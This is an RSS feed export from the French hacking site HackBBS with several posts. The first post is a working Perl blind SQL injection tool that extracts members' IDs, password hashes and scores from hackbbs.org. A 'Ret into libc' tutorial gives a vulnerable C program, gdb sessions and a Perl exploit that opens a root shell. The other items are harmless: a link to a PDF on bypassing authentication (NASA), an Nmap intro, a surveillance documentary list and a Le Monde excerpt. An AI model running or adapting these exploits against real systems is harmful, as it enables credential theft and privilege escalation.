<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/rss2enclosuresfull.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><rss xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:media="http://search.yahoo.com/mrss/" xmlns:itunes="http://www.itunes.com/dtds/podcast-1.0.dtd" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0" version="2.0">

<channel>
	<title>HackBBS</title>
	
	<link>http://art.hackbbs.org</link>
	<description>Challenge de hacking et articles sur l'underground.Securite informatique et Reseaux neuronaux. Concours, chat et forum de discussion.Apprentissage convivial par le jeu et la communication</description>
	<lastBuildDate>Sun, 25 Nov 2012 21:04:21 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/rss+xml" href="http://feeds.feedburner.com/Hackbbs" /><feedburner:info uri="hackbbs" /><atom10:link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="http://pubsubhubbub.appspot.com/" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>Challenge de hacking et articles sur l'underground.Securite informatique et Reseaux neuronaux. Concours, chat et forum de discussion.Apprentissage convivial par le jeu et la communication</itunes:subtitle><feedburner:browserFriendly></feedburner:browserFriendly><item>
		<title>[Perl]Exploit Blind SQL</title>
		<link>http://art.hackbbs.org/?p=334</link>
		<comments>http://art.hackbbs.org/?p=334#comments</comments>
		<pubDate>Fri, 13 Jan 2012 19:12:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Divers]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=334</guid>
		<description><![CDATA[Voici l&#8217;exploit perl de ZadYree et tlk de la blind sql contre hackbbs: #!/usr/bin/perl =head1 TITLE HackBBS Blind SQL Injection Tool =head1 DESCRIPTION Ce script permet la récupération des comptes membres de HackBBS =head2 AUTHORS tlk &#8211; Concepted the full attack &#38; SQL requests ZadYree &#8211; Found the flaw and rewrote the exploit in perl [...]]]></description>
			<content:encoded><![CDATA[<p>Voici l&#8217;exploit perl de ZadYree et tlk de la blind sql contre hackbbs:</p>
<fieldset>
#!/usr/bin/perl<br />
=head1 TITLE</p>
<p>HackBBS Blind SQL Injection Tool</p>
<p>=head1 DESCRIPTION</p>
<p>Ce script permet la récupération des comptes membres de HackBBS</p>
<p>=head2 AUTHORS</p>
<p>tlk &#8211; Concepted the full attack &amp; SQL requests<br />
ZadYree &#8211; Found the flaw and rewrote the exploit in perl</p>
<p>=cut</p>
<p>use 5.014;<br />
use LWP::UserAgent;<br />
use HTTP::Request::Common;<br />
use URI::Escape;<br />
use HTTP::Cookies;<br />
$| = 1;<br />
$$=3;</p>
<p>die &#8220;Usage: perl $0 [username]\n&#8221; unless (@ARGV == 1);</p>
<p>my ($payload, $res, $req, $reconst, $fstring);<br />
my $nchar = 32;</p>
<p>my $username = uc(shift);<br />
my $hexname = unpack(&#8216;H*&#8217;, reverse($username));</p>
<p>my $r = LWP::UserAgent-&gt;new(requests_redirectable =&gt; [qw/GET POST HEAD/]);</p>
<p>my $cookies = HTTP::Cookies-&gt;new();<br />
$cookies-&gt;set_cookie(0,&#8217;name&#8217;, &#8216;EERYDAZ&#8217;,'/&#8217;,'hackbbs.org&#8217;,80,0,0,86400,0);<br />
$r-&gt;cookie_jar($cookies);</p>
<p>my $basequery = &#8220;SELECT+group_concat(id,0x2C,pass,0x2C,score,0&#215;23)+FROM+membres+WHERE+name+=+&#8221; . &#8217;0x&#8217; . $hexname;</p>
<p>print &#8220;[*]Finding characters number to be guessed.\nChar. number: &#8220;;<br />
while (1) {<br />
die &#8220;The specified member may not exist!\n&#8221; if ($nchar &gt; 70);<br />
$payload = uri_escape(&#8216;(SELECT+IF(length((&#8216; . $basequery . &#8216;))=&#8217; . $nchar . &#8216;,5,99))&#8217;);<br />
$payload =~ s/%2B/\+/g;<br />
$req = &#8216;http://hackbbs.org/index.php?nav=profil&amp;action=liste&amp;liste=5%2b&#8217; . $payload;<br />
$res = $r-&gt;get($req);</p>
<p>if ($res-&gt;decoded_content =~ m/KORIGAN/) {<br />
say &#8220;[OK]\n\n[+]Char number found! Number of total characters: &#8220;, $nchar;<br />
last;<br />
}<br />
else {<br />
print &#8220;.&#8221;;<br />
$nchar++;<br />
}<br />
}</p>
<p>print &#8220;[*]Let&#8217;s now define the right character set&#8230;\nCharset: &#8220;;</p>
<p>for my $tchar (33..126) {<br />
$payload = uri_escape(&#8220;(SELECT+IF((&#8220;. $basequery . &#8220;)+LIKE+BINARY+0&#215;25&#8243; . unpack(&#8216;H*&#8217;, pack(&#8216;U*&#8217;, $tchar)) .&#8221;25+,5,99))&#8221;);<br />
$payload =~ s/%2B/\+/g;<br />
$req = &#8216;http://hackbbs.org/index.php?nav=profil&amp;action=liste&amp;liste=5%2b&#8217; . $payload;<br />
$res = $r-&gt;get($req);</p>
<p>if ($res-&gt;decoded_content =~ m/KORIGAN/) {<br />
print &#8216;.&#8217;;<br />
unless (chr($tchar) =~ m/[%_#]/) {<br />
push(@$reconst, chr($tchar));<br />
}<br />
}<br />
}</p>
<p>print &#8220;[OK]\n\n[+]Possible charset: {  &#8220;; print (&#8220;&#8216;&#8221; . $_ . &#8220;&#8216;  &#8220;) for @$reconst; say &#8216;}&#8217;;</p>
<p>print &#8220;\n\n[*]Now guessing account details&#8230;\nDetails: &#8220;;</p>
<p>push(@$reconst, &#8216;_&#8217;);<br />
for my $tchar (0..$nchar) {</p>
<p>for my $gchar(@$reconst) {<br />
$payload = uri_escape(&#8220;(SELECT+IF(substring((&#8221; . $basequery .  &#8220;),&#8221; . $tchar . &#8220;,1)+LIKE+BINARY+0x&#8221; . unpack(&#8216;H*&#8217;,$gchar) . &#8220;25  ,5,99))&#8221;);<br />
$payload =~ s/%2B/\+/g;</p>
<p>$req = &#8220;http://hackbbs.org/index.php?nav=profil&amp;action=liste&amp;liste=5%2b&#8221; . $payload;<br />
$res = $r-&gt;get($req);</p>
<p>if ($res-&gt;decoded_content =~ m/KORIGAN/) {<br />
$fstring .= $gchar;<br />
print &#8216;.&#8217;;<br />
last;<br />
}<br />
}<br />
}<br />
say &#8216;[DONE!]&#8216;;<br />
$fstring = [split(/,/, $fstring)];</p>
<p>say &#8220;\n\n&lt;============ Account details ============&gt;&#8221;;<br />
say &#8220;Account name: &#8220;, $username;<br />
say &#8220;Member ID: &#8220;, shift(@$fstring);<br />
say &#8220;Hashed password: &#8220;, shift(@$fstring);<br />
say &#8220;Account points: &#8220;, int(shift(@$fstring));<br />
say &#8220;&lt;=========================================&gt;&#8221;;</p>
</fieldset>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=334</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>[PoC]  Bypasser une authentification (NASA) – Shiney</title>
		<link>http://art.hackbbs.org/?p=316</link>
		<comments>http://art.hackbbs.org/?p=316#comments</comments>
		<pubDate>Thu, 02 Jun 2011 21:47:57 +0000</pubDate>
		<dc:creator>Shiney</dc:creator>
				<category><![CDATA[Cours]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=316</guid>
		<description><![CDATA[Bonjours à tous, pour mon premier article entièrement rédigé en LaTeX, j&#8217;ai décidé de vous montrer une méthode pour bypasser une authentification faillible à une injection SQL. Vous pouvez le télécharger ici: poc-bypasse-auth-nasa-shiney.pdf Merci à Korigan pour sa relecture Shiney]]></description>
			<content:encoded><![CDATA[<p>Bonjours à tous,<br />
pour mon premier article entièrement rédigé en LaTeX, j&#8217;ai décidé de vous montrer une méthode pour bypasser une authentification faillible à une injection SQL.<br />
Vous pouvez le télécharger <a href="http://art.hackbbs.org/wp-content/uploads/2011/06/poc-bypasse-auth-nasa-shiney.pdf">ici: poc-bypasse-auth-nasa-shiney.pdf</a></p>
<p>Merci à Korigan pour sa relecture <img src='http://art.hackbbs.org/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> </p>
<p>Shiney</p>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=316</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<enclosure url="http://art.hackbbs.org/wp-content/uploads/2011/06/poc-bypasse-auth-nasa-shiney.pdf" length="734192" type="application/pdf" /><media:content url="http://art.hackbbs.org/wp-content/uploads/2011/06/poc-bypasse-auth-nasa-shiney.pdf" fileSize="734192" type="application/pdf" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>Bonjours à tous, pour mon premier article entièrement rédigé en LaTeX, j&amp;#8217;ai décidé de vous montrer une méthode pour bypasser une authentification faillible à une injection SQL. Vous pouvez le télécharger ici: poc-bypasse-auth-nasa-shiney.pdf Merci à</itunes:subtitle><itunes:summary>Bonjours à tous, pour mon premier article entièrement rédigé en LaTeX, j&amp;#8217;ai décidé de vous montrer une méthode pour bypasser une authentification faillible à une injection SQL. Vous pouvez le télécharger ici: poc-bypasse-auth-nasa-shiney.pdf Merci à Korigan pour sa relecture Shiney</itunes:summary><itunes:keywords>Cours</itunes:keywords></item>
		<item>
		<title>How to check your network With Nmap</title>
		<link>http://art.hackbbs.org/?p=310</link>
		<comments>http://art.hackbbs.org/?p=310#comments</comments>
		<pubDate>Sat, 07 May 2011 13:21:55 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Cours]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Systèmes]]></category>
		<category><![CDATA[Tutoriaux]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=310</guid>
		<description><![CDATA[What is network Scanning? Network scanning is an important part of network That any system administrator must be done it. network scanning is the process of detect active hosts on the network and Find out some information about the hosts, such as operating system, active ports, services, and applications. Who Uses Network Scanning? System administrators, [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;">What is network Scanning?<br />
Network scanning is an important part of network That any system administrator must be done it.<br />
network scanning is the process of detect active hosts on the network and Find out some<br />
information about the hosts, such as operating system, active ports, services, and applications.</p>
<p style="text-align: center;">Who Uses Network Scanning?<br />
System administrators, network engineers, auditors,… all use network scanners for following<br />
reasons :<br />
&gt; Security auditing<br />
&gt;Compliance testing<br />
&gt; Asset management<br />
&gt; Network and system inventory</p>
<p style="text-align: center;"><a href="http://art.hackbbs.org/wp-content/uploads/2011/05/nmap.pdf">Full version</a></p>
<p style="text-align: left;"><strong>Author:</strong> <em>J0k3r</em></p>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=310</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<enclosure url="http://art.hackbbs.org/wp-content/uploads/2011/05/nmap.pdf" length="1307153" type="application/pdf" /><media:content url="http://art.hackbbs.org/wp-content/uploads/2011/05/nmap.pdf" fileSize="1307153" type="application/pdf" /><itunes:explicit>no</itunes:explicit><itunes:subtitle>What is network Scanning? Network scanning is an important part of network That any system administrator must be done it. network scanning is the process of detect active hosts on the network and Find out some information about the hosts, such as operatin</itunes:subtitle><itunes:summary>What is network Scanning? Network scanning is an important part of network That any system administrator must be done it. network scanning is the process of detect active hosts on the network and Find out some information about the hosts, such as operating system, active ports, services, and applications. Who Uses Network Scanning? System administrators, [...]</itunes:summary><itunes:keywords>Articles, Cours, Réseau, Systèmes, Tutoriaux</itunes:keywords></item>
		<item>
		<title>Ret into libc</title>
		<link>http://art.hackbbs.org/?p=298</link>
		<comments>http://art.hackbbs.org/?p=298#comments</comments>
		<pubDate>Sun, 12 Dec 2010 21:05:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Cours]]></category>
		<category><![CDATA[Programmation]]></category>
		<category><![CDATA[Systèmes]]></category>
		<category><![CDATA[Tutoriaux]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=298</guid>
		<description><![CDATA[Source: Tosh Ret into libc Je vais décrire brièvement comment exploiter un programme en utilisant la méthode de ret into libc. Ceci a été testé uniquement sur FreeBSD 8.1, sans ASLR, et sans SSP d'activé. Prenons le programme vulnérable suivant : #include #include void foo(char *buff) { char buffer[100]; strcpy(buffer, buff); } int main(int argc, [...]]]></description>
			<content:encoded><![CDATA[<p><b>Source:</b> <a href="http://tosh-codes.tuxfamily.org/Sources/Ret_into_libc">Tosh</a> </p>
<h1>Ret into libc</h1>
<pre>   Je vais décrire brièvement comment exploiter un programme en utilisant la méthode de ret into libc.
   Ceci a été testé uniquement sur FreeBSD 8.1, sans ASLR, et sans SSP d'activé.

   Prenons le programme vulnérable suivant :

<code>
   #include
   #include 

   void foo(char *buff)
   {
      char buffer[100];
      strcpy(buffer, buff);
   }
   int main(int argc, char **argv)
   {
      if(argc != 2)
      {
         printf("Usage : %s \n", argv[0]);
         return 0;
      }
      foo(argv[1]);
      return 0;
   }
</code>

   Nous avons donc un stack overflow dans la fonction foo. Nous savons que nous écrasons EBP
   après 100 caractères copiés, et EIP après 104 caractères.

   Pour être sûr, testons :

   (gdb) r `perl -e 'print "A"x100 . "BBBB" . "CCCC";'`
   Program received signal SIGSEGV, Segmentation fault.
   0x43434343 in ?? ()
   (gdb) i r ebp eip
   ebp            0x42424242	0x42424242
   eip            0x43434343	0x43434343

   Nous avons donc bien écrasé EBP avec les 'B' et EIP avec les 'C'.

   Le principe du ret into libc, est qu'au lieu de jumper sur un shellcode en STACK ou présent dans une
   variable d'environnement, nous jumpons sur une fonction de la bibliothèque C.

   Le plus simple, étant de sauter sur la fonction system, nous pourrons alors exécuter la commande de notre
   choix.

   Pour se faire, il faudra écraser EIP, avec l'addresse de la fonction system située dans le programme
   vulnérable, en lui transmettant l'addresse où sera situé notre chaine à exécuter.

   En connaissant un peu comment fonctionne les appels de fonctions en C, nous savons que system() ira
   chercher l'addresse de la chaine 4 octets plus haut sur la pile au moment de l'appel, le sommet de la pile
   étant EIP empilé par l'instruction CALL.

   Une manière propre de faire, étant de placer l'addresse de exit entre l'addresse de system() (Qui écrase EIP), et l'addresse de notre
   commande. Ainsi, le programme fermera proprement au retour de la fonction system. (Car system jumpera sur l'adresse située
   sur le sommet de la pile, pensant qu'elle a été appellée grâce à l'instruction CALL)

   Notre stack ressemblera donc à ceci :

   [     BUFFER     ]
   [     BUFFER     ]
   [      ...       ]
   [     BUFFER     ]
   [ Adresse system ]
   [  Adresse exit  ]
   [Adresse commande]
   [   Commande     ]
   [   Commande     ]
   [   Commande     ]

   Pourquoi mettre la chaîne de l'argument de system APRÈS les adresses, et pas dans le buffer ?
   Car cette chaîne a besoin du caractère final '\0', hors si on le met au début, strcpy arrêtera la copie,
   et nous ne pourrons pas exploiter notre programme.

   Le risque, étant d'écraser des données utiles à l'exploitation.

   Récupérons les adresses de system et exit :

   [tosh@sys-tosh /usr/home/tosh/Desktop]$ gdb vuln
   GNU gdb 6.1.1 [FreeBSD]
   Copyright 2004 Free Software Foundation, Inc.
   GDB is free software, covered by the GNU General Public License, and you are
   welcome to change it and/or distribute copies of it under certain conditions.
   Type "show copying" to see the conditions.
   There is absolutely no warranty for GDB.  Type "show warranty" for details.
   This GDB was configured as "i386-marcel-freebsd"...(no debugging symbols found)...
   (gdb) b main
   Breakpoint 1 at 0x8048470
   (gdb) r
   Breakpoint 1, 0x08048470 in main ()
   (gdb) x exit
   0x28101920 :	0x53e58955
   (gdb) x system
   0x280ad870 :	0x0001b855

   Nous avons donc :
      system : 0x280ad870
      exit   : 0x28101920

   Le plus dur, reste de trouver l'adresse de la chaine.

   Exécutons le programme, et tentons de trouver le début de la chaîne :

   (gdb) r `perl -e 'print "A"x108 . "BBBB";'`
   Program received signal SIGSEGV, Segmentation fault.
   0x41414141 in ?? ()
   (gdb) i r $esp
   esp            0xbfbfe9c0	0xbfbfe9c0
   (gdb) x/s $esp
   0xbfbfe9c0:	 "BBBB"

   Nous avons notre chaîne !
   Avec le shéma de la stack précédente, nous savons que notre chaine sera située 8 octets plus loin
   dans la stack, soit a l'adresse 0xbfbfe9c8

   Nous pouvons donc écrire notre exploit :

<code>
   #!/usr/bin/perl
   use strict;

   my $system_addr = "\x70\xd8\x0a\x28";
   my $exit_addr = "\x20\x19\x10\x28";
   my $cmd_addr = "\xc8\xe9\xbf\xbf";
   my $cmd = "/bin/sh";

   my $buff = ("A"x104) . ($system_addr). $exit_addr. $cmd_addr.$cmd;

   print "[*] Inj3ct code...\n";

   exec("./vuln", $buff) || die("Can't exec file\n");
</code>

   Comme vous le savez, sur un système LITTLE_ENDIAN, il faut écrire les adresses "à l'envers", les octets
   de poids faibles étant à gauche, et ceux de poids fort à droite.

   Lançons l'exploit :

   [tosh@sys-tosh /usr/home/tosh/Desktop]$ perl test.pl
   [*] Inj3ct code...
   # id
   uid=1001(tosh) gid=1001(tosh) euid=0(root) groups=1001(tosh),0(wheel)
   #

   Et voilà <img src='http://art.hackbbs.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  .
<h3>Conclusion :</h3>

L'avantage de cette technique, est en premier lieu de contourner les protections sur la stack
   non exécutable, et qu'elle fonctionne sans shellcode.

   Pis elle est fun je trouve <img src='http://art.hackbbs.org/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  .</pre>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=298</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Souriez, vous êtes fliqué</title>
		<link>http://art.hackbbs.org/?p=295</link>
		<comments>http://art.hackbbs.org/?p=295#comments</comments>
		<pubDate>Tue, 02 Nov 2010 12:25:38 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Culture]]></category>
		<category><![CDATA[Divers]]></category>
		<category><![CDATA[Nouvelles du net]]></category>
		<category><![CDATA[Réseau]]></category>
		<category><![CDATA[Systèmes]]></category>
		<category><![CDATA[documentaire]]></category>
		<category><![CDATA[Échelon]]></category>
		<category><![CDATA[hadopi]]></category>
		<category><![CDATA[surveillance]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=295</guid>
		<description><![CDATA[Source: Souriez, vous êtes fliqué. Bonjour à tous. J’imaginne que si vous êtes présent sur ce site c’est parce que vous aussi vous vous inquiètez quand a la préservation de votre vie privé ou que vous voulez en apprendre plus sur les dispositifs en place à ce sujet. Si vous aves des questions sur le [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://sourirefliquer.wordpress.com/">Source: Souriez, vous êtes fliqué</a>.</p>
<div class="entrytext">
<p><a href="http://sourirefliquer.files.wordpress.com/2010/10/souriez.jpg"><img class="aligncenter" title="souriez" src="http://sourirefliquer.files.wordpress.com/2010/10/souriez.jpg?w=398&amp;h=96" alt="" width="398" height="96" /></a></p>
<p>Bonjour à tous. J’imaginne que si vous êtes présent sur ce site c’est  parce que vous aussi vous vous inquiètez quand a la préservation de  votre vie privé ou que vous voulez en apprendre plus sur les dispositifs  en place à ce sujet.<br />
Si vous aves des questions sur le but de ce blog ou sur pourquoi je n’ai pas publié ces articles sur mon autre blog, <a href="http://sourirefliquer.wordpress.com/a-propos/">lisez ici le A Propos</a></p>
<h2><a href="http://sourirefliquer.wordpress.com/category/documentaire-video/">DOCUMENTAIRES VIDEO (25 videos)</a></h2>
<p>Réseaux de surveillances, fichage &amp; gouv’s :<br />
<a title="Lien permanent vers Échelon – Le Pouvoir Secret (1h21)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/vous-etes-sous-surveillance-echelon-les-grandes-oreilles-1h21/">Échelon – Le Pouvoir Secret (1h21)</a><br />
<a title="Lien permanent vers NSA : L’agence de l’ombre (50min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/25/">NSA : L’agence de l’ombre (50min)</a><br />
<a title="Lien permanent vers Total contrôle : Demain nous serons tous fichés ! (50min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/total-controle-demain-nous-serons-tous-fiches-50min/">Total contrôle : Demain nous serons tous fichés ! (50min)</a><br />
<a title="Lien permanent vers Hortefeux… Internet… (1h05)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/hortefeux-internet/">Hortefeux… Internet… (1h05)</a><br />
<a title="Lien permanent vers Fichiers Hortefeux – EDVIGE Light ?(1h02)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/fichiers-hortefeux-edvige-light-1h02/">Fichiers Hortefeux – EDVIGE Light ?(1h02)</a><br />
<a title="Lien permanent vers Fichier EDVIGE : C Dans L’Air (1h)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/fichier-edvige-c-dans-lair/">Fichier EDVIGE : C Dans L’Air (1h)</a><br />
<a title="Lien permanent vers Fichier EDVIGE : Mots Croisé (40min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/fichier-edvige-mots-croise/">Fichier EDVIGE : Mots Croisé (40min)</a></p>
<p>Quotidien :<br />
<a title="Lien permanent vers Espionnage au quotidien (53min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/espionnage-au-quotidien-53min/">Espionnage au quotidien (53min)</a><br />
<a title="Lien permanent vers Facebook – envoyé spécial (30min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/facebook-envoye-special-30min/">Facebook – envoyé spécial (30min)</a><br />
<a title="Lien permanent vers Faut-il avoir peur de Google ? (1h20)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/faut-il-avoir-peur-de-google/">Faut-il avoir peur de Google ? (1h20)</a><br />
<a title="Lien permanent vers Google, la machine à penser (50min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/google-la-machine-a-penser-50min/">Google, la machine à penser (50min)</a><br />
<a title="Lien permanent vers Big Brother City (1H43)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/orwell-se-retourne-dans-sa-tombe/">Big Brother City (1H43)</a><br />
<a title="Lien permanent vers Qui veut contrôler internet ? (1h56)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/qui-veut-controler-internet-1h56/">Qui veut contrôler internet ? (1h56)</a><br />
<a title="Lien permanent vers Surveillance &amp; Big Brother – Tracks (10min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/surveillance-big-brother-tracks/">Surveillance &amp; Big Brother – Tracks (10min)</a><br />
<a title="Lien permanent vers Qui veut contrôler internet ? (1h56)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/qui-veut-controler-internet-1h56/">Qui veut contrôler internet ? (1h56)</a></p>
<p>Techniques :<br />
<a title="Lien permanent vers La puce electronique : RFID (51min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/la-puce-electronique-rfid-51min/">La puce electronique : RFID (51min)</a><br />
<a title="Lien permanent vers 2057, le monde de demain (57min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/2057-le-monde-de-demain-57min/">2057, le monde de demain (57min)</a></p>
<p>Resistance :<br />
<a title="Lien permanent vers Resistant.com (26min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/resistant-com-26min/">Resistant.com (26min)</a></p>
<p>HADOPI :<br />
<a title="Lien permanent vers Téléchargement : la chasse aux pirates (20min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/telechargement-la-chasse-aux-pirates-20min/">Téléchargement : la chasse aux pirates (20min)</a><br />
<a title="Lien permanent vers Envoyé Spécial HADOPI (42min)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/envoye-special-hadopi-42min/">Envoyé Spécial HADOPI (42min)</a><br />
<a title="Lien permanent vers Contre l’Hadopi : citoyens et députés de tous bords réunis (1h04)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/contre-lhadopi-citoyens-et-deputes-de-tous-bords-reunis-1h04/">Contre l’Hadopi : citoyens et députés de tous bords réunis (1h04)</a></p>
<p>Resistance HADOPI :<br />
<a title="Lien permanent vers Contre l’Hadopi : citoyens et députés de tous bords réunis (1h04)" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/contre-lhadopi-citoyens-et-deputes-de-tous-bords-reunis-1h04/">Contre l’Hadopi : citoyens et députés de tous bords réunis (1h04)</a><br />
<a title="Lien permanent vers HADOPI : RESISTANCE JURIDIQUE" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/hadopi-resistance-juridique/">HADOPI : RESISTANCE JURIDIQUE (15min)</a><br />
<a title="Lien permanent vers HADOPI : RESISTANCE LEGALE" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/hadopi-resistance-legale/">HADOPI : RESISTANCE LEGALE (15min)</a><br />
<a title="Lien permanent vers HADOPI : RESISTANCE POLITIQUE" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/hadopi-resistance-politique/">HADOPI : RESISTANCE POLITIQUE (30min)</a><br />
<a title="Lien permanent vers HADOPI : RESISTANCE TECHNIQUE" rel="bookmark" href="http://sourirefliquer.wordpress.com/2010/10/25/hadopi-resistance-technique/">HADOPI : RESISTANCE TECHNIQUE (18min)</a></p>
<h2><a href="http://sourirefliquer.wordpress.com/category/articles/">DOCUMENTS &amp; ARTICLES</a></h2>
<p><a href="http://sourirefliquer.wordpress.com/2010/10/25/1984-par-g-orwell-en-pdf/">1984 écrit par Orwell en pdf (version française)</a></p>
<p>Enfin, j’espère que ce qui est présent ici vous intéressera et vous  permettra, si ce n’est déjà fait, de prendre conscience que Orwell était  plus un auteur d’anticipation que de fiction.</p>
<p>Istace Emmanuel</p></div>
]]></content:encoded>
			<wfw:commentRss>http://art.hackbbs.org/?feed=rss2&amp;p=295</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quand la machine apprend le langage – LeMonde.fr</title>
		<link>http://art.hackbbs.org/?p=293</link>
		<comments>http://art.hackbbs.org/?p=293#comments</comments>
		<pubDate>Thu, 28 Oct 2010 16:19:53 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Articles]]></category>
		<category><![CDATA[Culture]]></category>
		<category><![CDATA[Divers]]></category>
		<category><![CDATA[Nouvelles du net]]></category>
		<category><![CDATA[Systèmes]]></category>
		<category><![CDATA[IA]]></category>
		<category><![CDATA[intelligence artificielle]]></category>

		<guid isPermaLink="false">http://art.hackbbs.org/?p=293</guid>
		<description><![CDATA[Quand la machine apprend le langage &#8211; LeMonde.fr. Xavier de la Porte, producteur de l&#8217;émission Place de la Toile sur France Culture, réalise chaque semaine une lecture d&#8217;un article de l&#8217;actualité dans le cadre de son émission. La lecture de la semaine, il s&#8217;agit d&#8217;un article du New York Times, dernier article en date d&#8217;une [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.lemonde.fr/technologies/article/2010/10/15/quand-la-machine-apprend-le-langage_1426969_651865.html#xtor=RSS-3208001?utm_source=twitterfeed&amp;utm_medium=twitter">Quand la machine apprend le langage &#8211; LeMonde.fr</a>.</p>
<p class="firstLine"><em><span class="dropcap">X</span>avier de la Porte, producteur de l&#8217;émission <a href="http://www.franceculture.com/emission-place-de-la-toile.html-0" target="_blank">Place de la Toile</a> sur France Culture, réalise chaque semaine une lecture d&#8217;un article de l&#8217;actualité dans le cadre de son émission.<br />
</em></p>
<p>La lecture de la semaine, il s&#8217;agit d&#8217;un article du <a href="http://www.nytimes.com/2010/10/05/science/05compute.html?_r=1" target="_blank"><em></em></a><em><a class="listLink" href="http://www.lemonde.fr/sujet/ee94/new-york.html">New York</a> Times</em>,  dernier article en date d&#8217;une série consacrée à l&#8217;intelligence  artificielle et à ses impacts potentiels sur la société. Celui que j&#8217;ai  choisi de traduire concerne l&#8217;apprentissage du langage par la machine,  un enjeu essentiel dans le cadre de ce qu&#8217;on appelle depuis quelques  années déjà le web sémantique.</p>
<div class="fenetreBoxesContainer">
<div id="pubOAS_middle" class="banner300" style="visibility: hidden; display: none;"></div>
<div class="fenetreBox">
<div class="fenetreBar">
<div class="fenetreBarTitle"><a name="fen">En partenariat avec</a></div>
</div>
<div class="fenetreText">
<p><img src="http://medias.lemonde.fr/mmpub/edt/ill/2009/01/30/h_9_internetactu.png" alt="" /></p>
<p>Cet article a été publié à l&#8217;origine sur <a href="http://www.internetactu.net/" target="_blank">Internetactu.net</a>.</p>
<p><strong>Les derniers articles d&#8217;Internetactu</strong></p>
<ul>
<li><a href="http://www.internetactu.net/2010/10/07/dominique-cardon-pourquoi-linternet-na-t-il-pas-change-la-politique/" target="_blank">Pourquoi l&#8217;Internet n&#8217;a-t-il pas changé la politique ?</a></li>
<li><a href="http://www.internetactu.net/2010/09/30/vieillissement-et-nouvelles-technologies-un-rendez-vous-manque/" target="_blank">Vieillissement et nouvelles technologies : un rendez-vous manqué</a></li>
<li><a href="http://www.internetactu.net/2010/09/28/un-monde-de-technologies-centrees-sur-lutilisateur/" target="_blank">Un monde de technologies centré sur l&#8217;utilisateur<br />
</a></li>
<li><a href="http://www.internetactu.net/2010/09/21/innovation-sociale-ecoutons-ces-idees/" target="_blank">Innovation sociale : écoutons ces idées !<br />
</a></li>
